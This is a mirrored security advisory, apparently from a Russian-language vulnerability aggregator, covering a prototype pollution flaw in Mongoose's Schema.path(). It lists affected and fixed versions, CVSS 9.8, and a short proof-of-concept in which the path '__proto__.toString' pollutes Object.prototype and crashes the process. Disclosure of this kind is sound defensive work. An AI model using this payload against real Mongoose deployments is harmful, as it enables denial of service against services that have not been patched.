Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-h8hf-x3f4-xwgp

Опубликовано: 27 авг. 2022
Источник: github
Github: Прошло ревью
CVSS3: 9.8

Описание

Mongoose Vulnerable to Prototype Pollution in Schema Object

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema(); malicious_payload = '__proto__.toString' schema.path(malicious_payload, [String]) x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Пакеты

Наименование

mongoose

npm
Затронутые версииВерсия исправления

>= 6.0.0, < 6.4.6

6.4.6

Наименование

mongoose

npm
Затронутые версииВерсия исправления

< 5.13.15

5.13.15

9.8 Critical

CVSS3

Дефекты

CWE-1321

Связанные уязвимости

nvd
больше 3 лет назад

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage

9.8 Critical

CVSS3

Дефекты

CWE-1321